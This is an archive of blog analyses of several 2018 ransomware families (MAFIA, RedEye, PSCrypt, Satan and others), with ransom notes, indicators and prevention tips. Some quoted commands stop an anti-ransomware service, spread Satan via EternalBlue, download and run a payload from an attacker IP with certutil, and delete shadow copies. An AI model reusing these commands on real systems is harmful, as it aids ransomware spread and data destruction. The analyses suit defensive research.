Sunday, August 12, 2018

MAFIA ransomware targeting users in Korea


A new ransomware family was discovered and sent to me by MalwareHunterTeam, which we'll call MAFIA due to the extension it uses to encrypt files. The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

Another interesting (and new to me) feature is the use of "Onion.Pet", a Tor proxy as a means for C2 (network) communication. Read the analysis below to find out more details on this ransomware. (not to be confused with MafiaWare, a Hidden Tear variant - the MAFIA ransomware described here is unique).


Analysis

It's currently unknown how the MAFIA ransomware reaches a system, but it's likely delivered via spear-phishing, rather than a manual installation. The binary analysed here has the following properties:

Properties:
First, MAFIA will attempt to stop a service named "AppCheck" by launching the following command (which will use an elevated CMD prompt):

sc stop AppCheck

Ransomware usually stops database processes, for it to be able to also encrypt database-files which may be in use by said processes. However, in this case, AppCheck is actually a service which belongs to an anti-ransomware product from South-Korea. Figure 1 shows a screenshot of its website.

Figure 1 - "100% Signatureless Anti-Ransomware" - https://www.checkmal.com/?lang=en

As for the effectiveness of this software: no idea, but the author deemed it important enough to include it, so either it has proven it works, or it is used by a lot of users and businesses.

The author of the MAFIA ransomware has also left a debug path, which mentions the name "Jinwoo" ("진우" in Korean), and may be an indicator of the developer's nationality.

MAFIA makes use of OpenSSL to encrypt files, which it does with AES-256 in CBC mode. As mentioned earlier, encrypted files will obtain the ".MAFIA" extension. For example; Penguins.jpg becomes Penguins.jpg.MAFIA.

Files with the following extensions (300 in total) will be encrypted:

.3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .ab4, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .ads, .agdl, .ait, .apj, .arw, .asf, .asm, .asp, .asx, .avi, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bkp, .bkp, .blend, .bpw, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfp, .cgm, .cib, .class, .cls, .cmt, .cpi, .cpp, .cr2, .craw, .crt, .crw, .csh, .csl, .csv, .dac, .db-journal, .db3.dbf, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .der, .des, .design, .dgc, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fhd, .fla, .flac, .flv, .fpx, .fxg, .gray, .grey, .gry, .hbk, .hpp, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .java, .jpe, .jpeg, .jpg, .kc2, .kdbx, .kdc, .key, .kpdx, .lua, .m4v, .max, .mdb, .mdc, .mdf, .mef, .mmw, .moneywell, .mos, .mov, .mp3, .mp4, .mpg, .mrw, .msg, .myd, .ndd, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nwb, .nx2, .nx1, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .oil, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .plc, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .prf, .psafe3, .psd, .pspimage, .pst, .ptx, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .r3d, .raf, .rar, .rat, .raw, .rdb, .rtf, .rw2, .rw1, .rwz, .s3db, .sas7bdat, .say, .sd0, .sda, .sdf, .sldm, .sldx, sqlite, .sqlite3, .sqlitedb, .srf, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tex, .tga, .thm, .tlg, .txt, .vob, .wallet, .wav, .wb2, .wmv, .wpd, .wps, .xll, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .ycbcra, .yuv, .zip, .alz, .jar, .png, .bmp, .a00, .gif, .egg

Note: because the MAFIA ransomware uses OpenSSL for encryption, the process is slow, and the user may be able to interrupt it by killing the process (typically named winlogin.exe), or by shutting down the machine.

Figure 2 shows a side-by-side visual representation of the original (left) and encrypted image (right).


Figure 2 - Comparison (the blue represents ASCII strings)

MAFIA will also create a ransom note in HTML named "Information" in the same location as the original dropper. Ironically enough, the ransom note will also have the ".mafia" extension appended - the file will not be encrypted however.

Figure 3 shows the ransom note, in a browser.

Figure 3 - Ransom note

The text translates from Korean ("고유넘버") as "Unique number", and appears to contain two unique identifiers.

As mentioned earlier, MAFIA will use a Tor proxy for C2 communication; an example request is as follows:

GET /mafiaEgnima.php?iv=0x9e0x4b0x410x5c0x480x3a0xf40x90x2f0xfa0x960xb90x9b0x830xd40xb7&key=0xb90x1e0x600x3d0xef0x6c0xe60x930x6d0xab0x420x7b0x50x350xf00xcd0x3c0x490xc30x5f0xa10xe0xda0x270x5d0xd50xd10xa40xc0x9f0x340x79&seq=cbdf395c9281ae2ec52a306b5c29ec5 HTTP/1.1
Host: wibkilmskir4rlxz.onion.pet
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36

It appears the ransomware tries to send out an encryption key and IV using an HTTP GET request, which could make it possible to decrypt files, granted the network traffic is inspected at that point.

There's several other binaries of MAFIA out there, such as:

f4b25591ae53504ef5923344a9f03563
da23c8a7be5d83ae3e6b7b3291fdb880
0776e348313c7680db86ed924cff10b8
6487edd9b1e7cf6be4a9b1ac57424548
119228fb8f4333b1c10ff03543c6c0ea

Three of these (119228fb8f4333b1c10ff03543c6c0ea, 0776e348313c7680db86ed924cff10b8 and 6487edd9b1e7cf6be4a9b1ac57424548) have a different C2 server, specifically:
wibkilmskir4rlxz.onion[.]plus.

Neither of these servers appeared to be online at time of writing.

Decryption is possible thanks to Michael Gillespie (@demonslay335).

Download the decrypter from:
https://download.bleepingcomputer.com/demonslay335/MAFIADecrypter.zip

In case of questions or feedback, be sure to leave a comment.


Indicators




Wednesday, June 6, 2018

RedEye ransomware: there's more than meets the eye



A rather anonymous account reached out to me on Twitter asking to check out a "scary & really nasty" sample.

It turned out to be RedEye ransomware, a new strain or variant by the same creator of Annabelle ransomware, which I discovered in February earlier this year.


Analysis

This ransomware is named "RedEye" by the author "iCoreX".














Properties:

The first noticeable thing about this file is the huge filesize: 35.0 MB (36657152 bytes). This is due to several media files, specifically images and audio files, embedded in the binary.

It contains three ".wav" files:
  • child.wav
  • redeye.wav
  • suicide.wav
All three audio files play a "creepy" sound, intended to scare the user. 

Additionally, the binary is protected with ConfuserEx, compression, and a few other tricks. It also embeds another binary, which is responsible for replacing the MBR, which has the following properties:

  • MD5: 878a10cda09fec2cb823f2b7138b550e
  • SHA1: db44dae60c12853cdbe62ec9f7b3493a897e519a
  • SHA256: f96ed49ab1a5b4e2333fee30c42b2ae28dc5bc74fa02b9c6989e5c0159cfffd7
  • Compilation timestamp (Delphi): 1992-06-19 22:22:17
  • Compilation timestamp (Actual): 2018-06-04 14:23:36
  • VirusTotal report:
    f96ed49ab1a5b4e2333fee30c42b2ae28dc5bc74fa02b9c6989e5c0159cfffd7


What actually happens when executing this ransomware? Just like Annabelle ransomware it will perform a set of actions to make removal quite difficult, for example; it will disable task manager and in this iteration, will also hide your drives.

Similar to before, a ransom message is then displayed as follows:

Figure 1 - RedEye Ransomware


The message reads:

All your personal files has been encrypted with an very strong key by RedEye!
(Rijndael-Algorithmus -  AES - 256 Bit)
The only way to get your files back is:
- Go to http://redeye85x9tbxiyki.onion/tbxIyki - Enter your Personal ID
and pay 0.1 Bitcoins to the adress below! After that you need to click on
 "Check Payment". Then you will get a special key to unlock your computer.
You got 4 days to pay, when the time is up,
then your PC will be fully destroyed!


The ransomware has several options which I won't be showing here, but in short, it can:

  • Show encrypted files
  • Decrypt files
  • Support
  • Destroy PC

The Destroy PC option shows a GIF as background where you have the option to select "Do it" and "Close". I won't display the image however.

RedEye claims to encrypt files securely with AES256. On my machine, it appears to overwrite or fill files with 0 bytes, rendering the files useless, and appending the ".RedEye" extension.

The machine will, when the time runs out or when the "Do it" option is selected, reboot and replace the MBR, again similar to Annabelle ransomware, with the following message:


Figure 2 - MBR lock screen

The message reads as follows:


RedEye Terminated your computer! 
The reason for that could be:
- The time has expired
- You clicked on the 'Destroy PC' button
 
There is no way to fix your PC! Have Fun to try it :)
My YouTube Channel: iCoreX <- :p="" br="" subscribe="">Add me on discord!iCoreX#3333 <- account="" amp="" annabelle="" by="" creator="" discord.="" discord="" got="" i="" icorex="" jigsaw="" my="" named="" of="" old="" ransomware="" redeye="" terminated="">


The author, iCoreX, claims to have created Jigsaw, Annabelle, and now the RedEye ransomware - whether the former is true or not, I'll leave in the middle.

Details on the ransomware:

Extension: .RedEye
BTC Wallet: 1JSHVxXnGDydVXVamFW9AEmk3vk8cF8Vuj
Payment portal: (currently offline): http://redeye85x9tbxiyki[.]onion

Currently, it doesn't appear any payments have been made as of yet:


Removal

You may be able to restore the MBR, or your files, if you catch the ransomware in the act, and shutdown the machine at that point. Reboot in safe mode and copy over or back-up your files.

If tools such as the registry editor are not working, run Rkill in safe mode first.

Then, Restore the MBR, and reinstall Windows.

You may also try to restore the MBR first, and consequently attempt to restore files using Shadow Volume Copies. For example, a tool such as Shadow Explorer can be of assistance, or read the tutorial here.

If that doesn't work either, you may try using a data recovery program such as PhotoRec or Recuva



Conclusion


While it appears that the RedEye ransomware has even more tricks up its sleeve than its predecessor Annabelle, the same conclusion holds true: do not pay the ransomware.

As for the actual purpose of the ransomware: it may be considered a ransomware of the wiper kind, however, it appears the author likes to showcase his or her skill.

You can read more on the purpose of ransomware here.



IOCs

Monday, May 7, 2018

PSCrypt ransomware: back in business


PSCrypt is ransomware first discovered last year, in 2017, targeting users and organisations alike in Ukraine, and the malware itself is based on GlobeImposter ("GI") ransomware.

I've written about PSCrypt in the past, when it was distributed via Crystal Finance Millenium's hacked website: Crystal Finance Millennium used to spread malware

In this quick blog post, we'll take a look at the latest iteration of PSCrypt.


Analysis

A file named "xls.scr", which sports a fancy "energy" or "power" icon is responsible for loading PSCrypt on the machine, and was spread via a phishing campaign.

Figure 1 - Icon

The ransomware has the following properties:


As mentioned earlier, PSCrypt is based on GlobeImposter and as such, has very similar functionality.

The following folders are excluded from being encrypted:

Avast, Avira, COMODO, Chrome, Common Files, Dr.Web, ESET, Internet Explorer, Kaspersky Lab, McAfee, Microsoft, Microsoft Help, Microsoft Shared, Microsoft.NET, Movie Maker, Mozilla Firefox, NVIDIA Corporation, Opera, Outlook Express, ProgramData, Symantec, Symantec_Client_Security, Windows, Windows App Certification Kit, Windows Defender, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows NT, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Wsus, YandexBrowser, ntldr, spytech software, sysconfig, system volume information

This iteration of PSCrypt will encrypt all files, including executables, except those files with the following extensions:

.$er,.4db,.4dd,.4d,.4mp,.abs,.abx,.accdb,.accdc

As usual, a temporary batch file will be used to clear Volume Shadow Copies as well as Event Logs:

Figure 2 - Batch file

What's new in this iteration of PSCrypt is not only the changes implemented by/via GlobeImposter ransomware, but also the ransom note itself, as noted in Figure 3 and 4 below:

Figure 3 - Ransomware note, part 1

Figure 4 - Ransomware note, part 2

The title of the ransom note is "Ваші файли тимчасово зашифрувати! Не хвилюйтесь!", which translates to "Your files are temporarily encrypted! Do not worry!".


The Ukrainian version is rather lenghty, and is as follows:

☠ ВАШІ ФАЙЛИ ТИМЧАСОВО НЕДОСТУПНІ.☠
ВАШІ ДАНІ БУЛИ ЗАШІВРОВАННИ!
Для відновлення даних потрібно дешифратор.
Щоб отримати дешифратор, ви повинні, оплатити послуги розшифровки:
Оплата відбувається за коштами біткойн на кошелек № 1EoWxYTt7xCskTxjm47E2XNxgkZv1anDP9
Вартість послуги складає 150$
Оплату можна провести в терміналі IBox. або виберіть один з обмінних сайтів на сторінці - https://www.bestchange.ru/privat24-uah-to-bitcoin.html (приклад обмін Приват24 на BTC) також можете скористатися послугами https://e-btc.com.ua
Додаткова інформація:
Програма можемо дешифрувати один файл як доказ того, що у неї є декодер. Для цього необхідно надіслати зашифрований файл - вагою не більше 2 mb, и ваш уникальный идентификационный код, на пошту: systems32x@gmail.com
Более детальная инструкция по оплате: https://btcu.biz/main/how_to/buy
Увага!
Всі файли розшифровуються тільки після 100% оплати
Ви дійсно отримуєте дешифратор після оплати
Не намагайтеся видалити програму або запустити антивірусні інструменти це може ускладнити вам роботу
Спроби самодешіфрованія файлів приведуть до втрати ваших даних
Декодери інших користувачів не сумісні з вашими даними, оскільки унікальний ключ шифрування кожного користувача.
За запитом користувачів, надаємо контакти клієнтів, які вже користувалися послугами нашого сервісу.
ОБОВ'ЯЗКОВО ЗАПИШІТЬ РЕЗЕРВНІ КОНТАКТИ ДЛЯ ЗВ'ЯЗКУ:
systems32x@gmail.com - основний
systems32x@yahoo.com - резервний
Додаткові контакти:
systems32x@tutanota.com - (якщо відповіді не прийшло після 24-х годин)
help32xme@usa.com - (якщо відповіді не прийшло після 24-х годин)
Additional.mail@mail.com - (якщо відповіді не прийшло після 24-х годин)
З повагою
Unlock files LLC
33530 1st Way South Ste. 102
Federal Way, WA 98003
United States

Google Translation, so pretty loose - I've made some minor corrections however:

☠ YOUR FILES ARE TEMPORARILY UNAVAILABLE
YOUR DATA WAS LOCKED!
To restore data you need a decoder.
To receive a decoder, you must pay for decoding services:
Payment is made at the expense of bitcoin to wallet number 1EoWxYTt7xCskTxjm47E2XNxgkZv1anDP9
Service cost is $ 150
Payment can be made at the terminal IBox. or select one of the exchange sites on the page - https://www.bestchange.ru/privat24-uah-to-bitcoin.html (example exchange of Privat24 to the BTC), you can also use the services of https://e-btc.com.ua.
Additional Information:
The program can decrypt one file as proof that it has a decoder. To do this, you need to send an encrypted file weighing no more than 2 mb and your unique identification code by mail: systems32x@gmail.com
More detailed payment instructions: https://btcu.biz/main/how_to/buy
WARNING!
All files are decrypted only after 100% payment
You really get a decoder after payment
Do not try to uninstall a program or run antivirus tools, which can complicate your work
Attempts to self-decrypt files will result in the loss of your data
Other users' decoders are not compatible with your data, as the unique encryption key for each user.
At the request of users, we provide contact with customers who have already used the services of our service.
MUST REQUEST BACK TO CONTACTS FOR CONNECTION:
systems32x@gmail.com - basic
systems32x@yahoo.com - backup
Additional contacts:
systems32x@tutanota.com - (if the answer did not arrive after 24 hours)
help32xme@usa.com - (if the answer did not arrive after 24 hours)
Additional.mail@mail.com - (if the answer did not arrive after 24 hours)

The English version is rather short and to the point:

ALL DATA IS ENCRYPTED!
For decoding, write to the addresses:systems32x@gmail.com - Basic systems32x@yahoo.com - backup Additional contacts: systems32x@tutanota.com - (if the answer did not arrive after 24 hours) help32xme@usa.com - (if the answer did not arrive after 24 hours) Additional.mail@mail.com - (if the response did not arrive after 24 hours) 

The cost for restoring service is, interestingly enough, expressed in US dollars this time ($150), as opposed to Ukrainian currency in a previous iteration.

However, the images which included IBox instructions (as payment method) have been removed, and while IBox is still suggested as a service, there's also a new website introduced to pay via Bitcoin using E-BTC. 

E-BTC is a Ukrainian service which is "the most reliable and simple service for buying and selling Bitcoins and also the best partner for entering and withdrawing funds to the WEX stock exchange."

It also promises full anonymity.

Back to the ransomware. Encrypted files will have the .docs extension appended, for example Jellyfish.jpg becomes Jellyfish.jpg.docs.

Ransom note: .docs document.html
BTC Wallet: 1EoWxYTt7xCskTxjm47E2XNxgkZv1anDP9
Emails: systems32x@gmail.com, systems32x@yahoo.com, systems32x@tutanota.com, help32xme@usa.com, Additional.mail@mail.com

Extension: .docs

Fortunately, it appears no payments have been made as of yet: 1EoWxYTt7xCskTxjm47E2XNxgkZv1anDP9



Conclusion

The last iteration of PSCrypt was observed in 2017, but it appears it has now returned to try and coerce users and organisations to pay the ransomware.

As usual, follow the prevention tips here to stay safe, but the rule of thumbs are as always:

  • Do not pay, unless there is imminent danger of life
  • Create regular backups, and do not forget to test if they work

IOCs follow below.


IOCs


Saturday, May 5, 2018

Vietnamese ransomware wants you to add credit to a mobile phone


In this quick blog post we'll have a look at BKRansomware, a Vietnamese ransomware that wants you to top up its phone.

Update: 2018-05-06, scroll down for the update, added to the conclusion.


Analysis

This ransomware is named "BKRansomware" based on the file name and debug path. Properties:

BKRansomware will run via command line and displays the following screen:

Figure 1 - Ransom message

The ransomware message is very brief, and displays:

send 50k viettel to 0963210438 to restore your data

Viettel is a form of credit for mobile phones, used in Vietnam and neighboring countries. It is part of "Viettel Group" (Tập đoàn Công nghiệp Viễn thông Quân đội in Vietnamese), a mobile network operator in Vietnam. (Wiki link). 

As such, it appears the creators are in desperate need of more credit so they can make calls again :)


It only encrypts a small amount of extensions:


Figure 2 - extensions to encrypt

The list is as follows:

.txt, .cpp, .docx, .bmp, .doc, .pdf, .jpg, .pptx, .png, .c, .py, .sql

Encrypted files will have the .hainhc extension appended. Fun note: files aren't actually encrypted, but encoded with ROT23. For example, if you have a text file which says "password", the new content or file will now have "mxpptloa" instead.

Noteworthy is the debug path: 

C:\Users\Gaara\Documents\Visual Studio 2013\Projects\BKRansomware-20180503T093651Z-001\BKRansomware\Release\BKRansomware.pdb

The extension mentioned above, "hainhc" may refer to the following handle or persona on Whitehat VN, a Vietnamese Network security community:
https://whitehat.vn/members/hainhc.59556/



Conclusion

While BKRansomware is not exactly very sophisticated, it is able to encrypt (or rather encode) files, and is unique in the sense that it asks you to top up a mobile phone.

Update: it appears this is a ransomware supposedly used for testing purposes, for both coding and testing VirusTotal detections. However, there seems to be a lot of "testing" going on, including keyloggers. Draw your own conclusions.

Follow the prevention tips here to stay safe.



IOCs


Saturday, April 28, 2018

Ransomnix ransomware variant encrypts websites



Ransomnix is a (supposedly Jigsaw, but not really) ransomware variant that holds websites for ransom, and encrypts any files associated with the website.

This ransomware was discovered in the second half of 2018, and there's a brief write-up by Amigo-A here as well: Ransomnix ransomware

In this blog post, we'll discuss a newer variant.


Analysis

Several encrypted websites were discovered, which display the following message:

Figure 1 - Ransom message, part 1

Figure 2 - Ransom message, part 2

The full message is as follows:


JIGSAW RANSOMNIX 2018
I WANT TO PLAY A GAME!
Now Pay 0.2 BTC
OR
Payment will increase by
0.1
BTC each day after
00:00:00
Your Key Will Be Deleted
Your Bill till now 2.4000000000000004 BTC
Dear manager, on
Fri Apr 06 2018 02:08:34 GMT+0100 (GMT Summer Time)
your database server has been locked, your databases files are encrypted
and you have unfortunately "lost" all your data, Encryption was produced using
unique public key RSA-2048 generated for this server.
To decrypt files you need to obtain the private key.
All encrypted files ends with .Crypt
Your reference number: 4027
To obtain the program for this server, which will decrypt all files,
you need to pay 0.2 bitcoin on our bitcoin address 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o (today 1 bitcoin was around 15000 $).
After payment send us your number on our mail crypter@cyberservices.com and we will send you decryption tool (you need only run it and all files will be decrypted during a few hours depending on your content size).
Before payment you can send us one small file (100..500 kilobytes) and we will decrypt it!
It's your guarantee that we have decryption tool. (use your reference number as a subject to your message)
We don't know who are you, All what we need is some money.
Don't panic if we don't answer you during 24 hours. It means that we didn't received your letter and write us again.
You can use one of that bitcoin exchangers for transfering bitcoin.
https://localbitcoins.com
https://www.kraken.com
You dont need install bitcoin programs - you need only use one of this exchangers or other exchanger that you can find in www.google.com for your country.
Please use english language in your letters. If you don't speak english then use https://translate.google.com to translate your letter on english language.
You do not have enough time to think each day payment will increase by
0.1 BTC and after one week your privite key will be deleted and your files will be locked for ever.

People use cryptocurrency for bad choices,
 but today you will have to use it to pay for your files!
 It's your choice!

The following JavaScript is responsible for keeping track of the price, and increasing it:

Figure 3 - JS function

The starting price is set at 0.2 BTC, but will increase every day with 0.1 BTC thanks to two functions: inprice and startTimer.
The function for calculating the time and date, startTimer, is a copy/paste from the following StackOverflow answer: The simplest possible JavaScript countdown timer?

Note that the start_date variable, 1522976914000, is the epoch timestamp in milliseconds, which converted is indeed Friday 6 April 2018 01:08:34, as mentioned in the ransom note.

Ransomware message details:

BTC Wallet: 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o
Email: crypter@cyberservices.com 
Extension: .Crypt

Files will be encrypted, as claimed by the cybercriminals, with RSA-2048.

Unfortunately, it appears several people have already paid for decryption: 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o


Disinfection

If possible, restore the website from a backup, and consequently patch your website, this means: install all relevant and security patches for your CMS, and plugins where applicable.

Then, change all your passwords. Better be safe than sorry.

It is currently unknown if decryption is possible. If you have an example of an encrypted file, please do upload it to ID Ransomware and NoMoreRansom, to see if decryption is possible, or if a decryptor can be developed.


Prevention

For preventing ransomware that attacks your websites, you can follow my prevention tips here.

General ransomware prevention tips can be found here.


Conclusion

Ransomware can in theory be installed on everything; whether it's your machine, your website, or your IoT device. Follow the prevention tips above to stay safe.

Remember: create backups, regularly, and test them as well.



IOCs

Sunday, April 22, 2018

Satan ransomware adds EternalBlue exploit


Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware.

Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer.

In this blog post we'll analyse a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network, and consequently encrypt files.


Analysis

First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".


The file is packed with PECompact 2, and is therefore only 30KB in filesize. 

Notably, Satan has used different packers in multiple campaigns, for example, it has also used UPX and WinUpack. This is possibly due to a packer option in the Satan RaaS builder. Fun fact: Iron ransomware, which may be a spin-off from Satan, has used VMProtect.

"sts.exe" acts as a simple downloader, and will download two new files, both SFX archives, and extract them with a given password:


Figure 1 - download and extract two new files

Both files will be downloaded from 198.55.107[.]149, and use a custom User-Agent "RookIE/1.0", which seems a rather unique User-Agent.
  • ms.exe has password: iamsatancryptor
  • client.exe has password: abcdefghijklmn
It appears the Satan ransomware developers showcase some sense of humor by using the password "iamsatancryptor". 

Once the user has executed "sts.exe", they will get the following UAC prompt, if enabled:

Figure 2 - UAC prompt

Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Figure 2 shows the command line options.

Curiously, and thanks to the s2 option, the start dialog will be hidden, but the extraction progress is displayed - this means we need to click through to install the ransomware. Even more curious: the setup is in Chinese.

Figure 3 - End of setup screen

ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit, and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder, as seen in Figure 3. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.

The infection of other machines on the network will be achieved with the following command:

cmd /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 

We can then see an attempt to spread the ransomware to other machine in the same network:

Figure 4 - Spreading attempt over SMB, port 445

down64.dll (17f8d5aff617bb729fcc79be322fcb67) will be loaded in memory using DoublePulsar, and executes the following command:

cmd.exe /c certutil.exe -urlcache -split -f http://198.55.107.149/cab/sts.exe c:/sts.exe&c:\sts.exe

This will be used for planting sts.exe on other machines in the network, and will consequently be executed.

Satan ransomware itself, which is contained in Client.exe, will be dropped to C:\Cryptor.exe.

This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.

Figure 5 - Database-related processes

What's new in this version of Satan, is that the exclusion list has changed slightly - it will not encrypt files with the following words in its path:

windows, python2, python3, microsoft games, boot, i386, ST_V22, intel, dvd maker, recycle, libs, all users, 360rec, 360sec, 360sand, favorites, common files, internet explorer, msbuild, public, 360downloads, windows defen, windows mail, windows media pl, windows nt, windows photo viewer, windows sidebar, default user

This exclusion list is reminiscent of Iron ransomware. (or vice-versa)

Satan will, after encryption, automatically open the following ransomware note: C:\_How_to_decrypt_files.txt:


Figure 6 - Ransom note


The note is, as usual, in English, Chinese and Korean, and demands the user to pay 0.3 BTC. Satan will prepend filenames with its email address, satan_pro@mail.ru, and append extensions with .satan. For example: [satan_pro@mail.ru]Desert.jpg.satan

BTC Wallet: 14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo 
Email: satan_pro@mail.ru
Note: _How_to_decrypt_files.txt

It appears one person has already paid 0.2 BTC:
https://blockchain.info/address/14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo

Satan will create a unique mutex, SATANAPP, so the ransomware won't run twice. It will also generate a unique hardware ID and sends this to the C2 server:

GET /data/token.php?status=ST&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
HTTP/1.1 
Connection: Keep-Alive 
User-Agent: Winnet Client 
Host: 198.55.107.149

As mentioned in the beginning of this blog post, Satan ransomware has been using EternalBlue since at least November 2017 last year. For example, 25005f06e9b45fad836641b19b96f4b3 is another downloader which works similar to what is posted in this blog. It would fetch the following files:

2017-11-20 18:35:17 UTC ( 5 months ago )

For additional reading, read this excellent post by Tencent, who discovered a similar variant using EternalBlue earlier in April this year.


Disinfection

You may want to verify if any of the following files or folders exist:

  • C:\sts.exe
  • C:\Cryptor.exe
  • C:\ProgramData\ms.exe
  • C:\ProgramData\client.exe
  • C:\Windows\Temp\KSession

Prevention

  • Enable UAC
  • Enable Windows Update, and install updates (especially verify if MS17-010 is installed)
  • Install an antivirus, and keep it up-to-date and running
  • Restrict, where possible, access to shares (ACLs)
  • Create backups! (and test them)
More ransomware prevention can be found here.


Conclusion

Satan is not the first ransomware to use EternalBlue (for example, WannaCry), however, it does appear the developers of Satan are continuously improving and adding features to its ransomware.

Prevention is always better than disinfection/decryption.




IOCs

Sunday, April 15, 2018

This is Spartacus: new ransomware on the block


In this blog post, we'll analyse Spartacus, one of many new ransomware families popping up in 2018.


Analysis

This instance of Spartacus ransomware has the following properties:





Figure 1 - Spartacus ransomware message

The message reads:

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us the e-mail:
MastersRecovery@protonmail.com and send personal ID KEY:
In case of no answer in 24 hours us to theese e-mail: MastersRecovery@cock.li

The user may send up to 5 files for free decryption, as "guarantee". There's also a warning message at the end of the ransomware screen:

Do not rename encrypted files.
Do not try decrypt your data using party software, it may cause permanent data loss.
Decryption of your files with the help of thrid parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Spartacus will encrypt files, regardless of extension, in the following folders:

Figure 2 - Target folders to encrypt

Generating the key:


Figure 3 - KeyGenerator

As far as I'm aware, Spartacus is the first ransomware who explicitly asks you to send the public key (ID KEY), rather than just sending an email, including the Bitcoin address straight away, or sending the key automatically.

Encrypted files will get the extension appended as follows:
.[MastersRecovery@protonmail.com].Spartacus 

For example:
 Penguins.jpg.[MastersRecovery@protonmail.com].Spartacus

It will also drop the ransomware note, "READ ME.txt" in several locations, such as the user's Desktop:

All your data has been locked us. You want to return? Write email MastersRecovery@protonmail.com or MastersRecovery@cock.li Your personal ID KEY: DvQ9/mvfT3I7U847uKcI0QU3QLd+huv5NOYT2YhfiySde0vhmkzyTtRPlcu73BAJILIPdALjAIy5NLxBHckfyV2XS+GXdjlHMx2V/VEfj4BrZkLB3BQtEdAqS1d2yzb/2+AqTNjsRfZ99ZWVxUZO3AeEZk5h0+3hNM5GogUN2oV5zHkbMZuDaXZxQr56r8UKnW7gmSycdcJh2ueZMuEP1tAuuzdZYgmZ05x9ZT8FX9HIo03rwsi6UiJlgUTZCkiilZjxYyG+qVE+Gjk4H7dnXbQP1PC3k2WICA9R4TYb9SCdv8U/e5sxbuKAbJgEZ114liwHLasmLvQfKYSbxMlbEg==

Interestingly enough, Spartacus also embeds what appears to be a hardcoded and private RSA key:

xA4fTMirLDPi4rnQUX1GNvHC41PZUR/fDIbHnNBtpY0w2Qc4H2HPaBsKepU33RPXN5EnwGqQ5lhFaNnLGnwYjo7w6OCkU+q0dRev14ndx44k1QACTEz4JmP9VGSia6SwHPbD2TdGJsqSulPkK7YHPGlvLKk4IYF59fUfhSPiWleURYiD50Ll2YxkGxwqEYVSrkrr7DMnNRId502NbxrLWlAVk/XE2KLvi0g9B1q2Uu/PVrUgcxX+4wu9815Ia8dSgYBmftxky427OUoeCC4jFQWjEJlUNE8rvQZO5kllCvPDREvHd42nXIBlULvZ8aiv4b7NabWH1zcd2buYHHyGLQ==AQAB

Spartacus will delete Shadow Volume Copies by issuing the following command:

cmd.exe /c vssadmin.exe delete shadows /all /quiet

A unique mutex of "Test" will be created in order to not run the ransomware twice, and Spartacus will also continuously keep the ransomware screen or message from running in the foreground or on top, using the SetForegroundWindow function:

Figure 4 - Ransom will stay on top and annoy the user



Repeating, email addresses used are:

MastersRecovery@protonmail.com
MastersRecovery@cock.li

Decryption may be possible if the ransomware is left running, by extracting the key from memory.


Conclusion

Spartacus is again another ransomware family or variant popping up.

Figure 5 - Meme

Make sure to read the dedicated page on ransomware prevention to prevent Spartacus or any other  ransomware.



IOCs

Thursday, April 12, 2018

CryptoWire ransomware not dead


CryptoWire is an "open-source" ransomware based on the AutoIT scripting language, and has been around since 2016. For some background, read the following post on Bleeping Computer:
"Proof of Concept" CryptoWire Ransomware Spawns Lomix and UltraLocker Families

I already encountered a CryptoWire variant last year, when it was used to target users in Brazil:
Ransomware, fala sério!

